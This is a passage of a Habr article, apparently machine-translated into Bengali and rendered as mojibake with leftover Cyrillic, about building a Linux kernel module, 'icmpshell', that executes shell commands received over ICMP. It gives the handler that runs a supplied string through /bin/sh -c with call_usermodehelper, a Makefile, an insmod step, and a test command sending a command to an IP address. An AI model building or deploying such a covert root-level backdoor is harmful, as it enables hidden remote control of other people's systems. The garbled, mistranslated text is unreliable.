āĻ‡āĻ‰āĻœāĻžāĻ°āĻ¸ā§āĻĒā§‡āĻ¸ā§‡ āĻāĻ•āĻŸāĻŋ āĻĒā§āĻ°ā§‹āĻ—ā§āĻ°āĻžāĻŽ āĻ•āĻ˛ āĻ•āĻ°āĻž

āĻāĻ‡ āĻĢāĻžāĻ‚āĻļāĻ¨ āĻ¸āĻŦāĻšā§‡āĻ¯āĻŧā§‡ āĻŦā§‹āĻ§āĻ—āĻŽā§āĻ¯ āĻšāĻ¯āĻŧ. āĻāĻ° āĻ¨āĻžāĻŽ āĻĻā§‡āĻ“āĻ¯āĻŧāĻž āĻšāĻ¯āĻŧā§‡āĻ›āĻŋāĻ˛ DECLARE_WORK(), āĻĒā§āĻ°āĻ•āĻžāĻ° āĻāĻŦāĻ‚ āĻ—ā§ƒāĻšā§€āĻ¤ āĻ†āĻ°ā§āĻ—ā§āĻŽā§‡āĻ¨ā§āĻŸ āĻ†āĻ•āĻ°ā§āĻˇāĻŖā§€āĻ¯āĻŧ āĻ¨āĻ¯āĻŧāĨ¤ āĻ†āĻŽāĻ°āĻž āĻ•āĻŽāĻžāĻ¨ā§āĻĄā§‡āĻ° āĻ¸āĻžāĻĨā§‡ āĻ˛āĻžāĻ‡āĻ¨āĻŸāĻŋ āĻ—ā§āĻ°āĻšāĻŖ āĻ•āĻ°āĻŋ āĻāĻŦāĻ‚ āĻāĻŸāĻŋ āĻ¸āĻŽā§āĻĒā§‚āĻ°ā§āĻŖāĻ°ā§‚āĻĒā§‡ āĻļā§‡āĻ˛ā§‡ āĻĒā§āĻ°ā§‡āĻ°āĻŖ āĻ•āĻ°āĻŋāĨ¤ āĻ¤āĻžāĻ•ā§‡ āĻĒāĻžāĻ°ā§āĻ¸āĻŋāĻ‚, āĻŦāĻžāĻ‡āĻ¨āĻžāĻ°āĻŋ āĻ…āĻ¨ā§āĻ¸āĻ¨ā§āĻ§āĻžāĻ¨ āĻāĻŦāĻ‚ āĻ…āĻ¨ā§āĻ¯ āĻ¸āĻŦāĻ•āĻŋāĻ›ā§āĻ° āĻ¸āĻžāĻĨā§‡ āĻŽā§‹āĻ•āĻžāĻŦāĻŋāĻ˛āĻž āĻ•āĻ°āĻ¤ā§‡ āĻĻāĻŋāĻ¨āĨ¤

static void work_handler(struct work_struct * work)
{
  static char *argv[] = {"/bin/sh", "-c", cmd_string, NULL};
  static char *envp[] = {"PATH=/bin:/sbin", NULL};

  call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
}

  1. āĻ¸ā§āĻŸā§āĻ°āĻŋāĻ‚ āĻāĻ•āĻŸāĻŋ āĻ…ā§āĻ¯āĻžāĻ°ā§‡ āĻ†āĻ°ā§āĻ—ā§āĻŽā§‡āĻ¨ā§āĻŸ āĻ¸ā§‡āĻŸ āĻ•āĻ°ā§āĻ¨ argv[]. āĻ†āĻŽāĻŋ āĻ…āĻ¨ā§āĻŽāĻžāĻ¨ āĻ•āĻ°āĻŦ āĻ¯ā§‡ āĻ¸āĻŦāĻžāĻ‡ āĻœāĻžāĻ¨ā§‡ āĻ¯ā§‡ āĻĒā§āĻ°ā§‹āĻ—ā§āĻ°āĻžāĻŽāĻ—ā§āĻ˛āĻŋ āĻ†āĻ¸āĻ˛ā§‡ āĻāĻ‡āĻ°āĻ•āĻŽ āĻšāĻ˛ā§‡, āĻāĻŦāĻ‚ āĻ¸ā§āĻĒā§‡āĻ¸ āĻ¸āĻš āĻāĻ•āĻŸāĻŋ āĻ•ā§āĻ°āĻŽāĻžāĻ—āĻ¤ āĻ˛āĻžāĻ‡āĻ¨ āĻšāĻŋāĻ¸āĻžāĻŦā§‡ āĻ¨āĻ¯āĻŧāĨ¤
  2. āĻĒāĻ°āĻŋāĻŦā§‡āĻļā§‡āĻ° āĻ­ā§‡āĻ°āĻŋāĻ¯āĻŧā§‡āĻŦāĻ˛ āĻ¸ā§‡āĻŸ āĻ•āĻ°ā§āĻ¨āĨ¤ āĻ†āĻŽāĻŋ āĻ¨ā§āĻ¯ā§‚āĻ¨āĻ¤āĻŽ āĻĒāĻžāĻĨā§‡āĻ° āĻ¸ā§‡āĻŸ āĻ¸āĻš āĻļā§āĻ§ā§āĻŽāĻžāĻ¤ā§āĻ° PATH āĻ¸āĻ¨ā§āĻ¨āĻŋāĻŦā§‡āĻļ āĻ•āĻ°ā§‡āĻ›āĻŋ, āĻ†āĻļāĻž āĻ•āĻ°āĻ›āĻŋ āĻ¯ā§‡ āĻ¸ā§‡āĻ—ā§āĻ˛āĻŋ āĻ‡āĻ¤āĻŋāĻŽāĻ§ā§āĻ¯ā§‡āĻ‡ āĻāĻ•āĻ¤ā§āĻ°āĻŋāĻ¤ āĻšāĻ¯āĻŧā§‡āĻ›ā§‡ /bin Ņ /usr/bin и /sbin Ņ /usr/sbin. āĻ…āĻ¨ā§āĻ¯āĻžāĻ¨ā§āĻ¯ āĻĒāĻĨāĻ—ā§āĻ˛āĻŋ āĻ–ā§āĻŦ āĻ•āĻŽāĻ‡ āĻ…āĻ¨ā§āĻļā§€āĻ˛āĻ¨ā§‡ āĻ—ā§āĻ°ā§āĻ¤ā§āĻŦāĻĒā§‚āĻ°ā§āĻŖāĨ¤
  3. āĻšāĻ¯āĻŧā§‡ āĻ—ā§‡āĻ›ā§‡, āĻāĻŸāĻž āĻ•āĻ°āĻž āĻ¯āĻžāĻ•! āĻ•āĻžāĻ°ā§āĻ¨ā§‡āĻ˛ āĻĢāĻžāĻ‚āĻļāĻ¨ call_usermodehelper() āĻāĻ¨ā§āĻŸā§āĻ°āĻŋ āĻ—ā§āĻ°āĻšāĻŖ āĻ•āĻ°ā§‡āĨ¤ āĻŦāĻžāĻ‡āĻ¨āĻžāĻ°āĻŋāĻ° āĻĒāĻĨ, āĻ†āĻ°ā§āĻ—ā§āĻŽā§‡āĻ¨ā§āĻŸā§‡āĻ° āĻ…ā§āĻ¯āĻžāĻ°ā§‡, āĻāĻ¨āĻ­āĻžāĻ¯āĻŧāĻ°āĻ¨āĻŽā§‡āĻ¨ā§āĻŸ āĻ­ā§‡āĻ°āĻŋāĻ¯āĻŧā§‡āĻŦāĻ˛ā§‡āĻ° āĻ…ā§āĻ¯āĻžāĻ°ā§‡āĨ¤ āĻāĻ–āĻžāĻ¨ā§‡ āĻ†āĻŽāĻŋ āĻāĻŸāĻžāĻ“ āĻ…āĻ¨ā§āĻŽāĻžāĻ¨ āĻ•āĻ°āĻŋ āĻ¯ā§‡ āĻĒā§āĻ°āĻ¤ā§āĻ¯ā§‡āĻ•ā§‡āĻ‡ āĻāĻ•āĻŸāĻŋ āĻĒā§ƒāĻĨāĻ• āĻ¯ā§āĻ•ā§āĻ¤āĻŋ āĻšāĻŋāĻ¸āĻžāĻŦā§‡ āĻāĻ•ā§āĻ¸āĻŋāĻ•āĻŋāĻ‰āĻŸā§‡āĻŦāĻ˛ āĻĢāĻžāĻ‡āĻ˛ā§‡āĻ° āĻĒāĻžāĻĨ āĻĒāĻžāĻ¸ āĻ•āĻ°āĻžāĻ° āĻ…āĻ°ā§āĻĨ āĻŦā§‹āĻā§‡, āĻ¤āĻŦā§‡ āĻ†āĻĒāĻ¨āĻŋ āĻœāĻŋāĻœā§āĻžāĻžāĻ¸āĻž āĻ•āĻ°āĻ¤ā§‡ āĻĒāĻžāĻ°ā§‡āĻ¨āĨ¤ āĻļā§‡āĻˇ āĻ¯ā§āĻ•ā§āĻ¤āĻŋāĻŸāĻŋ āĻ¨āĻŋāĻ°ā§āĻĻāĻŋāĻˇā§āĻŸ āĻ•āĻ°ā§‡ āĻ¯ā§‡ āĻĒā§āĻ°āĻ•ā§āĻ°āĻŋāĻ¯āĻŧāĻžāĻŸāĻŋ āĻ¸āĻŽā§āĻĒā§‚āĻ°ā§āĻŖ āĻšāĻ“āĻ¯āĻŧāĻžāĻ° āĻœāĻ¨ā§āĻ¯ āĻ…āĻĒā§‡āĻ•ā§āĻˇāĻž āĻ•āĻ°āĻ¤ā§‡ āĻšāĻŦā§‡ āĻ•āĻŋāĻ¨āĻž (UMH_WAIT_PROC), āĻĒā§āĻ°āĻ•ā§āĻ°āĻŋāĻ¯āĻŧāĻž āĻļā§āĻ°ā§ (UMH_WAIT_EXEC) āĻŦāĻž āĻŽā§‹āĻŸā§‡āĻ“ āĻ…āĻĒā§‡āĻ•ā§āĻˇāĻž āĻ•āĻ°āĻŦā§‡āĻ¨ āĻ¨āĻž (UMH_NO_WAIT) āĻ†āĻ°ā§‹ āĻ•āĻŋāĻ›ā§ āĻ†āĻ›ā§‡? UMH_KILLABLE, āĻ†āĻŽāĻŋ āĻāĻŸāĻžāĻ° āĻĻāĻŋāĻ•ā§‡ āĻ¤āĻžāĻ•āĻžāĻ‡āĻ¨āĻŋāĨ¤

āĻ¸āĻŽāĻžāĻŦā§‡āĻļ

āĻ•āĻžāĻ°ā§āĻ¨ā§‡āĻ˛ āĻŽāĻĄāĻŋāĻ‰āĻ˛āĻ—ā§āĻ˛āĻŋāĻ° āĻ¸āĻŽāĻžāĻŦā§‡āĻļ āĻ•āĻžāĻ°ā§āĻ¨ā§‡āĻ˛ āĻŽā§‡āĻ•-āĻĢā§āĻ°ā§‡āĻŽāĻ“āĻ¯āĻŧāĻžāĻ°ā§āĻ•ā§‡āĻ° āĻŽāĻžāĻ§ā§āĻ¯āĻŽā§‡ āĻ¸āĻžā§āĻšāĻžāĻ˛āĻŋāĻ¤ āĻšāĻ¯āĻŧāĨ¤ āĻĄāĻžāĻ•āĻ˛ make āĻ•āĻžāĻ°ā§āĻ¨ā§‡āĻ˛ āĻ¸āĻ‚āĻ¸ā§āĻ•āĻ°āĻŖā§‡āĻ° āĻ¸āĻžāĻĨā§‡ āĻ†āĻŦāĻĻā§āĻ§ āĻāĻ•āĻŸāĻŋ āĻŦāĻŋāĻļā§‡āĻˇ āĻĄāĻŋāĻ°ā§‡āĻ•ā§āĻŸāĻ°āĻŋāĻ° āĻ­āĻŋāĻ¤āĻ°ā§‡ (āĻāĻ–āĻžāĻ¨ā§‡ āĻ¸āĻ‚āĻœā§āĻžāĻžāĻ¯āĻŧāĻŋāĻ¤ āĻ•āĻ°āĻž āĻšāĻ¯āĻŧā§‡āĻ›ā§‡: KERNELDIR:=/lib/modules/$(shell uname -r)/build), āĻāĻŦāĻ‚ āĻŽāĻĄāĻŋāĻ‰āĻ˛ā§‡āĻ° āĻ…āĻŦāĻ¸ā§āĻĨāĻžāĻ¨ āĻĒāĻ°āĻŋāĻŦāĻ°ā§āĻ¤āĻ¨āĻļā§€āĻ˛ā§‡ āĻĒā§āĻ°ā§‡āĻ°āĻŖ āĻ•āĻ°āĻž āĻšāĻ¯āĻŧ M āĻ¯ā§āĻ•ā§āĻ¤āĻŋāĻ¤ā§‡ icmpshell.ko āĻāĻŦāĻ‚ āĻ•ā§āĻ˛āĻŋāĻ¨ āĻŸāĻžāĻ°ā§āĻ—ā§‡āĻŸ āĻ¸āĻŽā§āĻĒā§‚āĻ°ā§āĻŖāĻ°ā§‚āĻĒā§‡ āĻāĻ‡ āĻĢā§āĻ°ā§‡āĻŽāĻ“āĻ¯āĻŧāĻžāĻ°ā§āĻ• āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ° āĻ•āĻ°ā§‡āĨ¤ āĻ­āĻŋāĻ¤āĻ°ā§‡ obj-m āĻāĻ•āĻŸāĻŋ āĻŽāĻĄāĻŋāĻ‰āĻ˛ā§‡ āĻ°ā§‚āĻĒāĻžāĻ¨ā§āĻ¤āĻ°āĻŋāĻ¤ āĻ•āĻ°āĻž āĻšāĻŦā§‡ āĻāĻŽāĻ¨ āĻ…āĻŦāĻœā§‡āĻ•ā§āĻŸ āĻĢāĻžāĻ‡āĻ˛ āĻ¨āĻŋāĻ°ā§āĻĻā§‡āĻļ āĻ•āĻ°ā§‡āĨ¤ āĻ¸āĻŋāĻ¨āĻŸā§āĻ¯āĻžāĻ•ā§āĻ¸ āĻ¯ā§‡ āĻ°āĻŋāĻŽā§‡āĻ• main.o в icmpshell.o (icmpshell-objs = main.o) āĻ†āĻŽāĻžāĻ° āĻ•āĻžāĻ›ā§‡ āĻ–ā§āĻŦ āĻ¯ā§ŒāĻ•ā§āĻ¤āĻŋāĻ• āĻŽāĻ¨ā§‡ āĻšāĻšā§āĻ›ā§‡ āĻ¨āĻž, āĻ•āĻŋāĻ¨ā§āĻ¤ā§ āĻ¤āĻžāĻ‡ āĻšā§‹āĻ•āĨ¤

KERNELDIR:=/lib/modules/$(shell uname -r)/build

obj-m = icmpshell.o
icmpshell-objs = main.o

all: icmpshell.ko

icmpshell.ko: main.c
make -C $(KERNELDIR) M=$(PWD) modules

clean:
make -C $(KERNELDIR) M=$(PWD) clean

āĻ†āĻŽāĻ°āĻž āĻ¸āĻ‚āĻ—ā§āĻ°āĻš āĻ•āĻ°āĻŋ: make. āĻ˛ā§‹āĻĄ āĻšāĻšā§āĻ›ā§‡: insmod icmpshell.ko. āĻ¸āĻŽā§āĻĒāĻ¨ā§āĻ¨, āĻ†āĻĒāĻ¨āĻŋ āĻšā§‡āĻ• āĻ•āĻ°āĻ¤ā§‡ āĻĒāĻžāĻ°ā§‡āĻ¨: sudo ./send.py 45.11.26.232 "date > /tmp/test". āĻ¯āĻĻāĻŋ āĻ†āĻĒāĻ¨āĻžāĻ° āĻŽā§‡āĻļāĻŋāĻ¨ā§‡ āĻāĻ•āĻŸāĻŋ āĻĢāĻžāĻ‡āĻ˛ āĻĨāĻžāĻ•ā§‡ /tmp/test āĻāĻŦāĻ‚ āĻāĻ¤ā§‡ āĻ…āĻ¨ā§āĻ°ā§‹āĻ§ āĻĒāĻžāĻ āĻžāĻ¨ā§‹āĻ° āĻ¤āĻžāĻ°āĻŋāĻ– āĻ°āĻ¯āĻŧā§‡āĻ›ā§‡, āĻ¯āĻžāĻ° āĻŽāĻžāĻ¨ā§‡ āĻ†āĻĒāĻ¨āĻŋ āĻ¸āĻŦāĻ•āĻŋāĻ›ā§ āĻ āĻŋāĻ•āĻ āĻžāĻ• āĻ•āĻ°ā§‡āĻ›ā§‡āĻ¨ āĻāĻŦāĻ‚ āĻ†āĻŽāĻŋ āĻ¸āĻŦāĻ•āĻŋāĻ›ā§ āĻ āĻŋāĻ•āĻ āĻžāĻ• āĻ•āĻ°ā§‡āĻ›āĻŋāĨ¤

āĻ‰āĻĒāĻ¸āĻ‚āĻšāĻžāĻ°

āĻĒāĻžāĻ°āĻŽāĻžāĻŖāĻŦāĻŋāĻ• āĻ‰āĻ¨ā§āĻ¨āĻ¯āĻŧāĻ¨ā§‡āĻ° āĻ¸āĻžāĻĨā§‡ āĻ†āĻŽāĻžāĻ° āĻĒā§āĻ°āĻĨāĻŽ āĻ…āĻ­āĻŋāĻœā§āĻžāĻ¤āĻž āĻ†āĻŽāĻžāĻ° āĻĒā§āĻ°āĻ¤ā§āĻ¯āĻžāĻļāĻžāĻ° āĻšā§‡āĻ¯āĻŧā§‡ āĻ…āĻ¨ā§‡āĻ• āĻ¸āĻšāĻœ āĻ›āĻŋāĻ˛āĨ¤ āĻāĻŽāĻ¨āĻ•āĻŋ āĻ¸āĻŋ-āĻ¤ā§‡ āĻŦāĻŋāĻ•āĻžāĻļā§‡āĻ° āĻ…āĻ­āĻŋāĻœā§āĻžāĻ¤āĻž āĻ›āĻžāĻĄāĻŧāĻžāĻ‡, āĻ•āĻŽā§āĻĒāĻžāĻ‡āĻ˛āĻžāĻ° āĻ‡āĻ™ā§āĻ—āĻŋāĻ¤ āĻāĻŦāĻ‚ Google āĻĢāĻ˛āĻžāĻĢāĻ˛āĻ—ā§āĻ˛āĻŋāĻ¤ā§‡ āĻĢā§‹āĻ•āĻžāĻ¸ āĻ•āĻ°ā§‡, āĻ†āĻŽāĻŋ āĻāĻ•āĻŸāĻŋ āĻ•āĻžāĻ°ā§āĻ¯āĻ•āĻ°ā§€ āĻŽāĻĄāĻŋāĻ‰āĻ˛ āĻ˛āĻŋāĻ–āĻ¤ā§‡ āĻ¸āĻ•ā§āĻˇāĻŽ āĻšāĻ¯āĻŧā§‡āĻ›āĻŋ āĻāĻŦāĻ‚ āĻāĻ•āĻœāĻ¨ āĻ•āĻžāĻ°ā§āĻ¨ā§‡āĻ˛ āĻšā§āĻ¯āĻžāĻ•āĻžāĻ°ā§‡āĻ° āĻŽāĻ¤ā§‹ āĻ…āĻ¨ā§āĻ­āĻŦ āĻ•āĻ°āĻ¤ā§‡ āĻĒā§‡āĻ°ā§‡āĻ›āĻŋ āĻāĻŦāĻ‚ āĻāĻ•āĻ‡ āĻ¸āĻžāĻĨā§‡ āĻāĻ•āĻŸāĻŋ āĻ¸ā§āĻ•ā§āĻ°āĻŋāĻĒā§āĻŸ āĻ•āĻŋāĻĄāĻŋāĨ¤ āĻ‰āĻĒāĻ°āĻ¨ā§āĻ¤ā§, āĻ†āĻŽāĻŋ Kernel Newbies āĻšā§āĻ¯āĻžāĻ¨ā§‡āĻ˛ā§‡ āĻ—āĻŋāĻ¯āĻŧā§‡āĻ›āĻŋāĻ˛āĻžāĻŽ, āĻ¯ā§‡āĻ–āĻžāĻ¨ā§‡ āĻ†āĻŽāĻžāĻ•ā§‡ āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ° āĻ•āĻ°āĻ¤ā§‡ āĻŦāĻ˛āĻž āĻšāĻ¯āĻŧā§‡āĻ›āĻŋāĻ˛ schedule_work() āĻ•āĻ˛ āĻ•āĻ°āĻžāĻ° āĻĒāĻ°āĻŋāĻŦāĻ°ā§āĻ¤ā§‡ call_usermodehelper() āĻšā§āĻ• āĻ¨āĻŋāĻœā§‡āĻ‡ āĻ­āĻŋāĻ¤āĻ°ā§‡ āĻāĻŦāĻ‚ āĻ¤āĻžāĻ•ā§‡ āĻ˛āĻœā§āĻœāĻŋāĻ¤, āĻ¸āĻ āĻŋāĻ•āĻ­āĻžāĻŦā§‡ āĻāĻ•āĻŸāĻŋ āĻ•ā§‡āĻ˛ā§‡āĻ™ā§āĻ•āĻžāĻ°ā§€ āĻ¸āĻ¨ā§āĻĻā§‡āĻš. āĻ•ā§‹āĻĄā§‡āĻ° āĻāĻ•āĻļ āĻ˛āĻžāĻ‡āĻ¨ā§‡āĻ° āĻœāĻ¨ā§āĻ¯ āĻ†āĻŽāĻžāĻ° āĻ…āĻŦāĻ¸āĻ° āĻ¸āĻŽāĻ¯āĻŧā§‡ āĻĒā§āĻ°āĻžāĻ¯āĻŧ āĻāĻ• āĻ¸āĻĒā§āĻ¤āĻžāĻšā§‡āĻ° āĻ‰āĻ¨ā§āĻ¨āĻ¯āĻŧāĻ¨ āĻ–āĻ°āĻš āĻšāĻ¯āĻŧāĨ¤ āĻāĻ•āĻŸāĻŋ āĻ¸āĻĢāĻ˛ āĻ…āĻ­āĻŋāĻœā§āĻžāĻ¤āĻž āĻ¯āĻž āĻ¸āĻŋāĻ¸ā§āĻŸā§‡āĻŽā§‡āĻ° āĻŦāĻŋāĻ•āĻžāĻļā§‡āĻ° āĻ…āĻĒā§āĻ°āĻ¤āĻŋāĻ°ā§‹āĻ§ā§āĻ¯ āĻœāĻŸāĻŋāĻ˛āĻ¤āĻž āĻ¸āĻŽā§āĻĒāĻ°ā§āĻ•ā§‡ āĻ†āĻŽāĻžāĻ° āĻŦā§āĻ¯āĻ•ā§āĻ¤āĻŋāĻ—āĻ¤ āĻŽāĻŋāĻĨāĻ•ā§‡ āĻ§ā§āĻŦāĻ‚āĻ¸ āĻ•āĻ°ā§‡āĻ›ā§‡āĨ¤

āĻ¯āĻĻāĻŋ āĻ•ā§‡āĻ‰ Github āĻ āĻāĻ•āĻŸāĻŋ āĻ•ā§‹āĻĄ āĻĒāĻ°ā§āĻ¯āĻžāĻ˛ā§‹āĻšāĻ¨āĻž āĻ•āĻ°āĻ¤ā§‡ āĻ¸āĻŽā§āĻŽāĻ¤ āĻšāĻ¨, āĻ†āĻŽāĻŋ āĻ•ā§ƒāĻ¤āĻœā§āĻž āĻĨāĻžāĻ•āĻŦāĨ¤ āĻ†āĻŽāĻŋ āĻ¨āĻŋāĻļā§āĻšāĻŋāĻ¤ āĻ¯ā§‡ āĻ†āĻŽāĻŋ āĻ…āĻ¨ā§‡āĻ• āĻŦā§‹āĻ•āĻž āĻ­ā§āĻ˛ āĻ•āĻ°ā§‡āĻ›āĻŋ, āĻŦāĻŋāĻļā§‡āĻˇ āĻ•āĻ°ā§‡ āĻ¯āĻ–āĻ¨ āĻ¸ā§āĻŸā§āĻ°āĻŋāĻ‚āĻ—ā§āĻ˛āĻŋāĻ° āĻ¸āĻžāĻĨā§‡ āĻ•āĻžāĻœ āĻ•āĻ°āĻ›āĻŋāĨ¤

ICMP āĻ‰āĻĒāĻ° āĻĒāĻžāĻ°āĻŽāĻžāĻŖāĻŦāĻŋāĻ• āĻļā§‡āĻ˛

āĻ‰āĻ¤ā§āĻ¸: www.habr.com

āĻāĻ•āĻŸāĻŋ āĻŽāĻ¨ā§āĻ¤āĻŦā§āĻ¯ āĻœā§āĻĄāĻŧā§āĻ¨